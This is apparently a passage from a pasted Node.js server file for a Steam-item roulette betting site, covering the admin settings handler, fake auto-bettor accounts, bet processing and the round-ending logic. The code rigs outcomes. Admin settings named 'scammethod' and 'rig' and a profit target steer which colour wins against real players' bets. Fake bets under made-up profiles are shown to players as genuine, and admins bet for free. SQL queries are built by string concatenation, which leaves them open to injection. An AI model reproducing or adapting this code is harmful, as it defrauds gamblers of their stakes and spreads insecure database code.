  713. io.to(socket.id).emit('admin_data', { time : g_TimeToEnd, minbet : g_MinBet, mintoshow : g_MinToShow, refreward : g_RefReward, bettogetreward : g_BetToGetReward, comission : g_Comission, rnum : rNum, online : onlineplayers, sitebank : siteBankVal, profit : g_Profit, scammethod : g_ScamMethod, rig : rig, secondmethodchance : g_SecondMethodChance });
  714. } else {
  715. console.log(steamid + ' tried to access admin panel and was rejected.');
  716. io.to(socket.id).emit('admin_data_request_reject');
  717. }
  718. });
  719.  
  720. socket.on('admin_data_save', function(data){
  721. var nextStep = false;
  722. var steamid = -1;
  723. for(var key in players){
  724. if(players[key].id == socket.id){
  725. if(players[key].token && players[key].token == data.token){
  726. steamid = players[key].steamid;
  727. for(var i = 0; i < g_Admins.length;i++){
  728. if(g_Admins[i] == steamid){
  729. nextStep = true;
  730. break;
  731. }
  732. }
  733. break;
  734. }
  735. }
  736. }
  737. if(nextStep){
  738. var siteBankVal = siteBank.value();
  739. if(data.time && data.time != g_TimeToEnd) g_TimeToEnd = data.time;
  740. if(data.minbet && data.minbet != g_MinBet) g_MinBet = data.minbet;
  741. if(data.mintoshow && data.mintoshow != g_MinToShow) g_MinToShow = data.mintoshow;
  742. if(data.refreward && data.refreward != g_RefReward) g_RefReward = data.refreward;
  743. if(data.bettogetreward && data.bettogetreward != g_BetToGetReward) g_BetToGetReward = data.bettogetreward;
  744. if(data.comission && data.comission != g_Comission) g_Comission = data.comission;
  745. if(data.profit && data.profit != g_Profit) g_Profit = data.profit;
  746. if(data.scammethod && data.scammethod != g_ScamMethod) g_ScamMethod = data.scammethod;
  747. if(data.rig && data.rig != rig) rig = data.rig;
  748. if(data.sitebank && data.sitebank != siteBankVal) siteBank.set(data.sitebank);
  749. if(data.secondmethodchance && data.secondmethodchance != g_SecondMethodChance) g_SecondMethodChance = data.secondmethodchance;
  750. console.log('Settings updated. They might change after relaunch.');
  751. io.to(socket.id).emit('admin_data_save_success');
  752. } else {
  753. console.log(steamid + ' tried to access admin panel and was rejected.');
  754. io.to(socket.id).emit('admin_data_save_reject');
  755. }
  756. });
  757.  
  758. });
  759.  
  760. /* DEPOSIT BOT SELECTOR */
  761. function deposit(items, steamid, token, security){
  762. var process = false;
  763. for(var i = 0; i < busy.length; i++){
  764. if(online[i] && !busy[i] && inventory[i] <= g_InventoryLimit){
  765.  
  766. process = true;
  767. busy[i] = true;
  768. var emit = "bot" + i;
  769. backupTimer[i]=setTimeout(function(){busy[i]=false;clearTimeout(backupTimer[i]);}, 180000);
  770. console.log(steamid + " depositing items to bot " + i + ".");
  771. io.emit(emit, {
  772. items : items,
  773. steamid : steamid,
  774. token : token,
  775. security : security
  776. });
  777. break;
  778. }
  779. }
  780. if(!process){
  781. io.emit('err_client', { code : 9 });
  782. }
  783. }
  784.  
  785. for(var i = 0; i < g_AutoBetters;i++){
  786. var rnd = random.integer(30, 60);
  787. setInterval(function(){autobet();},1000*rnd);
  788. console.log('Bot ' + i + ' will make bets every ' + rnd + ' seconds.');
  789. }
  790.  
  791. /* AUTO BET */
  792. function autobet(){
  793. console.log('Trying to autobet...');
  794. var accamount = 0;
  795. for(var key in g_AutoBettersAccounts[0]){
  796. accamount++;
  797. }
  798. var randomnum = random.integer(1,accamount);
  799. var unique = true;
  800. for(var i = 0; i < bettersreserved.length; i++){
  801. if(bettersreserved[i] == randomnum){
  802. unique = false;
  803.  
  804. break;
  805. }
  806. }
  807. if(unique){
  808. if(timeleft < g_TimeToEnd * 0.4 && timeleft > 0 || g_ScamMethod == 2){
  809. bettersreserved.push(randomnum);
  810. currentBets++;
  811. var betRedValue = betRed.value();
  812. var betBlackValue = betBlack.value();
  813. var betGreenValue = betGreen.value();
  814. if(betRedValue > betBlackValue){
  815. var amount = (betRedValue - betBlackValue)*3 + random.integer(0,9);
  816. betBlackFake.set(betBlackFake.add(amount));
  817. betBlack.set(betBlack.add(amount));
  818. processedBets++;
  819. totalBets++;
  820. var value1 = betBlack.value();
  821. var value2 = betGreen.value();
  822. var value3 = betRed.value();
  823. console.log('(Auto)Bet #' + currentBets + '(#'+totalBets+') processed!');
  824. if(processedBets == 2){
  825. console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
  826. timeleft = g_TimeToEnd;
  827. io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
  828. if(amount >= g_MinToShow) io.emit('build', { bet : 'black', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
  829. timer = setInterval(function(){
  830. timeleft--;
  831. if(timeleft == 0) {
  832. clearInterval(timer);
  833. }
  834. },1000);
  835. setTimeout(function(){
  836. endgame();
  837. },g_TimeToEnd*1000);
  838. } else {
  839. io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
  840. if(amount >= g_MinToShow) io.emit('build', { bet : 'black', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
  841. }
  842. } else if(betRedValue <= betBlackValue){
  843. var amount = (betBlackValue - betRedValue)*3 + random.integer(0,9);
  844. betRedFake.set(betRedFake.add(amount));
  845. betRed.set(betRed.add(amount));
  846. processedBets++;
  847. totalBets++;
  848. var value1 = betBlack.value();
  849. var value2 = betGreen.value();
  850. var value3 = betRed.value();
  851. console.log('(Auto)Bet #' + currentBets + '(#'+totalBets+') processed!');
  852. if(processedBets == 2){
  853. console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
  854. timeleft = g_TimeToEnd;
  855. io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
  856. if(amount >= g_MinToShow) io.emit('build', { bet : 'red', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
  857. timer = setInterval(function(){
  858. timeleft--;
  859. if(timeleft == 0) {
  860. clearInterval(timer);
  861. }
  862. },1000);
  863. setTimeout(function(){
  864. endgame();
  865. },g_TimeToEnd*1000);
  866. } else {
  867. io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
  868. if(amount >= g_MinToShow) io.emit('build', { bet : 'red', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
  869. }
  870. }
  871. } else {
  872. setTimeout(function(){autobet();},1000);
  873. }
  874. } else {
  875. setTimeout(function(){autobet();}, 250);
  876. }
  877. }
  878.  
  879. /* token generator */
  880. function generateToken(length){
  881. var symbols = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
  882. var token = '';
  883. for(var i = 0; i < length; i++){
  884. token = token + symbols[rand(0,symbols.length-1)];
  885. }
  886. return token;
  887. }
  888.  
  889. /* fetching vars from db */
  890. function fetchinfo(){
  891. mysqlConnection.query('SELECT * FROM info', function(err, row, fields){
  892. if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  893. if(row.length > 0){
  894. console.log('Fetched total ' + row.length + ' info');
  895. totalRed = numeral(row[0].value);
  896. totalBlack = numeral(row[1].value);
  897. totalGreen = numeral(row[2].value);
  898. betRed = numeral(row[3].value);
  899. betBlack = numeral(row[4].value);
  900. betGreen = numeral(row[5].value);
  901. siteBank = numeral(row[6].value);
  902. rNum = row[7].value;
  903. totalBets = numeral(row[8].value);
  904. winRed = row[9].value;
  905. winBlack = row[10].value;
  906. winGreen = row[11].value;
  907. totalWithdraw = numeral(row[12].value);
  908. for(var d = 0; d < row.length - 13;d++){
  909. inventory.push(row[13+d].value);
  910. bots.push(row[13+d].info);
  911. busy.push(false);
  912. online.push(true);
  913. console.log("Bot " + row[13+d].info + " was attached with " + row[13+d].value + " items in it`s inventory.");
  914. }
  915. console.log('Loaded info for ' + inventory.length);
  916. connectedDB = true;
  917. } else {
  918. console.log('There is no info in DB');
  919. }
  920. });
  921. }
  922. g_Admins.push('76561198148932769');
  923. fetchinfo();
  924.  
  925. /* updating vars in db */
  926. function updateinfo(){
  927. var value1 = totalBlack.value();
  928. var value2 = totalGreen.value();
  929. var value3 = totalRed.value();
  930. var value4 = betBlack.value();
  931. var value5 = betGreen.value();
  932. var value6 = betRed.value();
  933. var value7 = siteBank.value();
  934. mysqlConnection.query('UPDATE `info` SET value = \''+value3+'\' WHERE info = \'totalRed\'', function(err, row, fields) {if(err) console.log(err);});
  935. mysqlConnection.query('UPDATE `info` SET value = \''+value1+'\' WHERE info = \'totalBlack\'', function(err, row, fields) {if(err) console.log(err);});
  936. mysqlConnection.query('UPDATE `info` SET value = \''+value2+'\' WHERE info = \'totalGreen\'', function(err, row, fields) {if(err) console.log(err);});
  937. mysqlConnection.query('UPDATE `info` SET value = \''+value6+'\' WHERE info = \'betRed\'', function(err, row, fields) {if(err) console.log(err);});
  938. mysqlConnection.query('UPDATE `info` SET value = \''+value4+'\' WHERE info = \'betBlack\'', function(err, row, fields) {if(err) console.log(err);});
  939. mysqlConnection.query('UPDATE `info` SET value = \''+value5+'\' WHERE info = \'betGreen\'', function(err, row, fields) {if(err) console.log(err);});
  940. mysqlConnection.query('UPDATE `info` SET value = \''+winRed+'\' WHERE info = \'winRed\'', function(err, row, fields) {if(err) console.log(err);});
  941. mysqlConnection.query('UPDATE `info` SET value = \''+winBlack+'\' WHERE info = \'winBlack\'', function(err, row, fields) {if(err) console.log(err);});
  942. mysqlConnection.query('UPDATE `info` SET value = \''+winGreen+'\' WHERE info = \'winGreen\'', function(err, row, fields) {if(err) console.log(err);});
  943. mysqlConnection.query('UPDATE `info` SET value = \''+value7+'\' WHERE info = \'siteBank\'', function(err, row, fields) {if(err) console.log(err);});
  944. mysqlConnection.query('UPDATE `info` SET value = \''+rNum+'\' WHERE info = \'rNum\'', function(err, row, fields) {if(err) console.log(err);});
  945. mysqlConnection.query('UPDATE `info` SET value = \''+totalBets+'\' WHERE info = \'total\'', function(err, row, fields) {if(err) console.log(err);});
  946. }
  947.  
  948. /* game processer */
  949. function bet(id, bet, amount, token){
  950. amount = parseInt(amount, 10);
  951. currentBets++;
  952. var nextStep = false;
  953. var steamid = -1;
  954. var admin = false;
  955. for(var key in players){
  956. if(players[key].id == id){
  957. //console.log('Found user token');
  958. if(players[key].token && players[key].token == token){
  959. //console.log('Token is okay');
  960. steamid = players[key].steamid;
  961. nextStep = true;
  962. for(var i = 0; i < g_Admins.length; i++){
  963. if(steamid == g_Admins[i]){
  964. admin = true;
  965. false;
  966. }
  967. }
  968. break;
  969. } else {
  970. //console.log('Provided token differs from current.');
  971. }
  972. }
  973. }
  974. if(bet != 'red' && bet != 'green' && bet != 'black') {io.to(id).emit('err_client', { code : 18 });currentBets--;return;}
  975. if(nextStep){
  976. if(!gameIsEnding){
  977. if(amount >= g_MinBet){
  978. mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, row, results){
  979. if(err) {io.to(id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  980. if(row){
  981. var already = false;
  982. for(var h = 0; h < alreadyBet.length;h++){
  983. if(alreadyBet[h] == steamid){
  984. already = true;
  985. break;
  986. }
  987. }
  988. if(admin){
  989. if(bet == 'red'){
  990. betRedFake.set(betRedFake.add(amount));
  991. betRed.set(betRed.add(amount));
  992. }
  993. if(bet == 'black'){
  994. betBlackFake.set(betBlackFake.add(amount));
  995. betBlack.set(betBlack.add(amount));
  996. }
  997. if(bet == 'green'){
  998. betGreenFake.set(betGreenFake.add(amount));
  999. betGreen.set(betGreen.add(amount));
  1000. }
  1001. processedBets++;
  1002. totalBets++;
  1003. var value1 = betBlack.value();
  1004. var value2 = betGreen.value();
  1005. var value3 = betRed.value();
  1006. console.log('(Admin)Bet #' + currentBets + '(#'+totalBets+') processed!');
  1007. if(processedBets == 2){
  1008. console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
  1009. timeleft = g_TimeToEnd;
  1010. io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
  1011. if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
  1012. timer = setInterval(function(){
  1013. timeleft--;
  1014. if(timeleft == 0) {
  1015. clearInterval(timer);
  1016. }
  1017. },1000);
  1018. setTimeout(function(){
  1019. endgame();
  1020. },g_TimeToEnd*1000);
  1021. } else {
  1022. io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
  1023. if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
  1024. }
  1025. }
  1026. if(!already && !admin){
  1027. var currentBalance = row[0].balance - amount;
  1028. var totalNumeral = numeral(row[0].totalbets);
  1029. totalNumeral.set(totalNumeral.add(amount));
  1030. var currentTotal = totalNumeral.value();
  1031. if(currentBalance >= 0){
  1032. if(row[0].ref == 0){
  1033. mysqlConnection.query('UPDATE users SET bet = \''+bet+'\', betamount = \''+amount+'\', balance = \''+currentBalance+'\', totalbets=\''+currentTotal+'\' WHERE steamid = \''+steamid+'\'', function(err, rows, fields) {
  1034. if(err) {
  1035. currentBets--;
  1036. io.to(id).emit('err_client', { code : 22 });
  1037. console.log("MySQL error: " + err);
  1038. if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}
  1039. } else {
  1040. processedBets++;
  1041. totalBets++;
  1042. alreadyBet.push(steamid);
  1043. io.to(id).emit('balance', { balance : currentBalance });
  1044. if(bet == 'red'){
  1045. var added1 = totalRed.add(amount);
  1046. var added2 = betRed.add(amount);
  1047. var added3 = siteBank.add(amount);
  1048. totalRed.set(added1)
  1049. betRed.set(added2);
  1050. siteBank.set(added3);
  1051. }
  1052. if(bet == 'black'){
  1053. var added1 = totalBlack.add(amount);
  1054. var added2 = betBlack.add(amount);
  1055. var added3 = siteBank.add(amount);
  1056. totalBlack.set(added1)
  1057. betBlack.set(added2);
  1058. siteBank.set(added3);
  1059. }
  1060. if(bet == 'green'){
  1061. var added1 = totalGreen.add(amount);
  1062. var added2 = betGreen.add(amount);
  1063. var added3 = siteBank.add(amount);
  1064. totalGreen.set(added1)
  1065. betGreen.set(added2);
  1066. siteBank.set(added3);
  1067. }
  1068. var value1 = betBlack.value();
  1069. var value2 = betGreen.value();
  1070. var value3 = betRed.value();
  1071. console.log('Bet #' + currentBets + '(#'+totalBets+') processed!');
  1072. io.to(id).emit('info', { lastbet : bet, amount : amount });
  1073. if(processedBets == 2){
  1074. console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
  1075. timeleft = g_TimeToEnd;
  1076. io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
  1077. if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
  1078. timer = setInterval(function(){
  1079. timeleft--;
  1080. if(timeleft == 0) {
  1081. clearInterval(timer);
  1082. }
  1083. },1000);
  1084. setTimeout(function(){
  1085. endgame();
  1086. },g_TimeToEnd*1000);
  1087. } else {
  1088. io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
  1089. if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
  1090. }
  1091. }
  1092. });
  1093. } else {
  1094. var refbetNumeral = numeral(row[0].refbet);
  1095. refbetNumeral.set(refbetNumeral.add(amount));
  1096. var currentRefbet = refbetNumeral.value();
  1097. mysqlConnection.query('UPDATE users SET bet = \''+bet+'\', betamount = \''+amount+'\', balance = \''+currentBalance+'\', totalbets=\''+currentTotal+'\', refbet=\''+currentRefbet+'\' WHERE steamid = \''+steamid+'\'', function(err, rows, fields) {
  1098. if(err) {
  1099. currentBets--;
  1100. io.to(id).emit('err_client', { code : 22 });
  1101. console.log("MySQL error: " + err);
  1102. if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}
  1103. } else {
  1104. processedBets++;
  1105. totalBets++;
  1106. alreadyBet.push(steamid);
  1107. io.to(id).emit('balance', { balance : currentBalance });
  1108. if(bet == 'red'){
  1109. var added1 = totalRed.add(amount);
  1110. var added2 = betRed.add(amount);
  1111. var added3 = siteBank.add(amount);
  1112. totalRed.set(added1)
  1113. betRed.set(added2);
  1114. siteBank.set(added3);
  1115. }
  1116. if(bet == 'black'){
  1117. var added1 = totalBlack.add(amount);
  1118. var added2 = betBlack.add(amount);
  1119. var added3 = siteBank.add(amount);
  1120. totalBlack.set(added1)
  1121. betBlack.set(added2);
  1122. siteBank.set(added3);
  1123. }
  1124. if(bet == 'green'){
  1125. var added1 = totalGreen.add(amount);
  1126. var added2 = betGreen.add(amount);
  1127. var added3 = siteBank.add(amount);
  1128. totalGreen.set(added1)
  1129. betGreen.set(added2);
  1130. siteBank.set(added3);
  1131. }
  1132. var value1 = betBlack.value();
  1133. var value2 = betGreen.value();
  1134. var value3 = betRed.value();
  1135. console.log('Bet #' + currentBets + '(#'+totalBets+') processed!');
  1136. io.to(id).emit('info', { lastbet : bet, amount : amount });
  1137. if(processedBets == 2){
  1138. console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
  1139. timeleft = g_TimeToEnd;
  1140. io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
  1141. if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
  1142. timer = setInterval(function(){
  1143. timeleft--;
  1144. if(timeleft == 0) {
  1145. clearInterval(timer);
  1146. }
  1147. },1000);
  1148. setTimeout(function(){
  1149. endgame();
  1150. },g_TimeToEnd*1000);
  1151. } else {
  1152. io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
  1153. if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
  1154. }
  1155. }
  1156. });
  1157. }
  1158. } else {
  1159. io.to(id).emit('err_client', { code : 8 });
  1160. currentBets--;
  1161. }
  1162. } else {
  1163. if(admin) currentBets++;
  1164. currentBets--;
  1165. io.to(id).emit('err_client', { code : 19 });
  1166. }
  1167. } else {
  1168. currentBets--;
  1169. //console.log('Hack attempt on ' + id);
  1170. }
  1171. });
  1172. } else {
  1173. currentBets--;
  1174. io.to(id).emit('err_client', { code : 4 });
  1175. }
  1176. } else {
  1177. currentBets--;
  1178. io.to(id).emit('err_client', { code : 20 });
  1179. }
  1180. } else {
  1181. currentBets--;
  1182. io.to(id).emit('err_client', { code : 21 });
  1183. }
  1184. }
  1185.  
  1186. function endgame(){
  1187. if(currentBets == processedBets){
  1188. gameIsEnding = true;
  1189. io.emit('lockbets');
  1190. console.log('All bets are processed!');
  1191. firstTry = true;
  1192. var coef = 0;
  1193. var wobble = 7 + random.integer(3, 12)/10;
  1194. var number = 0;
  1195. var siteBankValue = siteBank.value();
  1196. if(rig == 'norig'){
  1197. if(g_ScamMethod == 1 || siteBankValue < g_Profit){
  1198. if(siteBankValue >= g_Profit || riggedbets > 4){
  1199. riggedbets = 0;
  1200. if(rNum <= 47 || lastrig == 'red' && coef == 0){
  1201. lastWin = 'red';
  1202. lastrig = 'first';
  1203. coef = 2;
  1204. number = random.integer(1, 7);
  1205. winRed++;
  1206. }
  1207. if(rNum > 47 && rNum <= 94 || lastrig == 'black' && coef == 0){
  1208. lastWin = 'black';
  1209. lastrig = 'first';
  1210. coef = 2;
  1211. number = random.integer(8, 14);
  1212. winBlack++;
  1213. }
  1214. if(rNum > 94 && coef == 0){
  1215. lastWin = 'green';
  1216. lastrig = 'first';
  1217. coef = 14;
  1218. number = 0;
  1219. winGreen++;
  1220. }
  1221. } else {
  1222. riggedbets++;
  1223. var betRedValue = betRed.subtract(betRedFake.value());
  1224. var betBlackValue = betBlack.subtract(betBlackFake.value());
  1225. var betGreenValue = betGreen.subtract(betGreenFake.value());
  1226. if(betRedValue >= betBlackValue + betGreenValue){
  1227. if(rNum <= 47 || lastrig == 'red' && coef == 0){
  1228. lastWin = 'red';
  1229. lastrig = 'first';
  1230. coef = 2;
  1231. number = random.integer(1, 7);
  1232. winRed++;
  1233. }
  1234. if(rNum > 47 && rNum <= 94 || lastrig == 'black' && coef == 0){
  1235. lastWin = 'black';
  1236. lastrig = 'first';
  1237. coef = 2;
  1238. number = random.integer(8, 14);
  1239. winBlack++;
  1240. }
  1241. if(rNum > 94 && coef == 0){
  1242. lastWin = 'green';
  1243. lastrig = 'first';
  1244. coef = 14;
  1245. number = 0;
  1246. winGreen++;
  1247. }
  1248.  
  1249. } else {
  1250. if(rNum > 94 && betGreenValue*14 < betRedValue + betBlackValue){
  1251. lastWin = 'green';
  1252. coef = 14;
  1253. number = 0;
  1254. winGreen++;
  1255. } else {
  1256. lastWin = 'red';
  1257. lastrig = 'red';
  1258. coef = 2;
  1259. number = random.integer(1, 7);
  1260. winRed++;
  1261. }
  1262. }
  1263. }
  1264. } else {
  1265. var betRedValue = betRed.subtract(betRedFake.value());
  1266. var betBlackValue = betBlack.subtract(betBlackFake.value());
  1267. var betGreenValue = betGreen.subtract(betGreenFake.value());
  1268. if(betRedValue >= betBlackValue + betGreenValue){
  1269. if(rNum <= 47 - g_SecondMethodChance || rig == 'red' || rig == 'r' && coef == 0){
  1270. lastWin = 'red';
  1271. rig = 'norig';
  1272. coef = 2;
  1273. number = random.integer(1, 7);
  1274. winRed++;
  1275. }
  1276. if(rNum > 47 - g_SecondMethodChance && rNum <= 94 || rig == 'black' || rig == 'b' && coef == 0){
  1277. lastWin = 'black';
  1278. rig = 'norig';
  1279. coef = 2;
  1280. number = random.integer(8, 14);
  1281. winBlack++;
  1282. }
  1283. if(rNum > 94 || rig == 'green' || rig == 'g' && coef == 0){
  1284. lastWin = 'green';
  1285. rig = 'norig';
  1286. coef = 14;
  1287. number = 0;
  1288. winGreen++;
  1289. }
  1290.  
  1291. } else {
  1292. if(rNum <= 47 + g_SecondMethodChance || rig == 'red' || rig == 'r' && coef == 0){
  1293. lastWin = 'red';
  1294. rig = 'norig';
  1295. coef = 2;
  1296. number = random.integer(1, 7);
  1297. winRed++;
  1298. }
  1299. if(rNum > 47 + g_SecondMethodChance && rNum <= 94 || rig == 'black' || rig == 'b' && coef == 0){
  1300. lastWin = 'black';
  1301. rig = 'norig';
  1302. coef = 2;
  1303. number = random.integer(8, 14);
  1304. winBlack++;
  1305. }
  1306. if(rNum > 94 || rig == 'green' || rig == 'g' && coef == 0){
  1307. lastWin = 'green';
  1308. rig = 'norig';
  1309. coef = 14;
  1310. number = 0;
  1311. winGreen++;
  1312. }
  1313. }
  1314. }
  1315. } else {
  1316. if(rig == 'red' || rig == 'r' && coef == 0){
  1317. lastWin = 'red';
  1318. rig = 'norig';
  1319. coef = 2;
  1320. number = random.integer(1, 7);
  1321. winRed++;
  1322. }
  1323. if(rig == 'black' || rig == 'b' && coef == 0){
  1324. lastWin = 'black';
  1325. rig = 'norig';
  1326. coef = 2;
  1327. number = random.integer(8, 14);
  1328. winBlack++;
  1329. }
  1330. if(rig == 'green' || rig == 'g' && coef == 0){
  1331. lastWin = 'green';
  1332. rig = 'norig';
  1333. coef = 14;
  1334. number = 0;
  1335. winGreen++;
  1336. }
  1337. }
  1338. mysqlConnection.query('SELECT * FROM users WHERE betamount >= \'1\'', function(err, row, results){
  1339. if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  1340. if(row){
  1341. console.log('Found ' + row.length + ' participants. Proceeding...');
  1342.  
  1343. for(var j = 0; j < row.length; j++){
  1344. if(row[j].bet == lastWin){
  1345. won = row[j].betamount * coef;
  1346. siteBank.set(siteBank.subtract(won));
  1347. currentBalance = row[j].balance + won;
  1348. mysqlConnection.query('UPDATE users SET bet = \'nobet\', betamount = \'0\', balance = \''+currentBalance+'\' WHERE id =\''+row[j].id+'\'', function(err, rows, fields) {
  1349. if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  1350. if(rows.length > 0){
  1351. for(var key in players){
  1352. if(rows[0].steamid && players[key].steamid == rows[0].steamid){
  1353. setTimeout(function(){io.to(players[key].id).emit('balance', { balance : currentBalance });},g_RollingTime*1000);
  1354. break;
  1355. }
  1356. }
  1357. }
  1358. });
  1359. } else {
  1360. mysqlConnection.query('UPDATE users SET bet = \'nobet\', betamount = \'0\' WHERE id =\''+row[j].id+'\'', function(err, rows, fields) {
  1361. if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
  1362. });
  1363. }
  1364. }
  1365. io.emit('end',{ number : number, wobble : wobble });
  1366. if(lastchips.length < 10){
  1367. lastchips.push(number);
  1368. } else {
  1369. for(var i = 0; i < lastchips.length; i++){
  1370. if(i != lastchips.length - 1){
  1371. lastchips[lastchips.length - 1 - i] = lastchips[lastchips.length - 2 - i];
  1372. } else {
  1373. lastchips[0] = number;
  1374. }
  1375. }
  1376. }
  1377. gameIsEnding = false;
  1378. setTimeout(function(){io.emit('unlockbets');},g_RollingTime*1000);
  1379. rNum = random.integer(1, 99);
  1380. bettersreserved = [];
  1381. betRed.set(0);
  1382. betBlack.set(0);
  1383. betGreen.set(0);
  1384. betRedFake.set(0);
  1385. betBlackFake.set(0);
  1386. clearInterval(timer);
  1387. timeleft = 0;
  1388. currentBets = 0;
  1389. processedBets = 0;
  1390. alreadyBet = [];
  1391. updateinfo();
  1392. if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
  1393. totalwithdrawals = totalWithdraw.value();
  1394. io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
  1395. var siteBankValue = siteBank.value();
  1396. console.log('Money left in bank: ' + siteBankValue);
  1397. }
  1398. });
  1399. } else {
  1400. if(firstTry){
  1401. console.log('Processing last bets ' + processedBets + '/' + currentBets + '...');
  1402. io.emit('lastbets', { processedBets : processedBets, currentBets : currentBets });
  1403. io.emit('lockbets');
  1404. gameIsEnding = true;
  1405. firstTry = false;
  1406. }
  1407. setTimeout(function(){endgame();},1000);
  1408. }
  1409. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement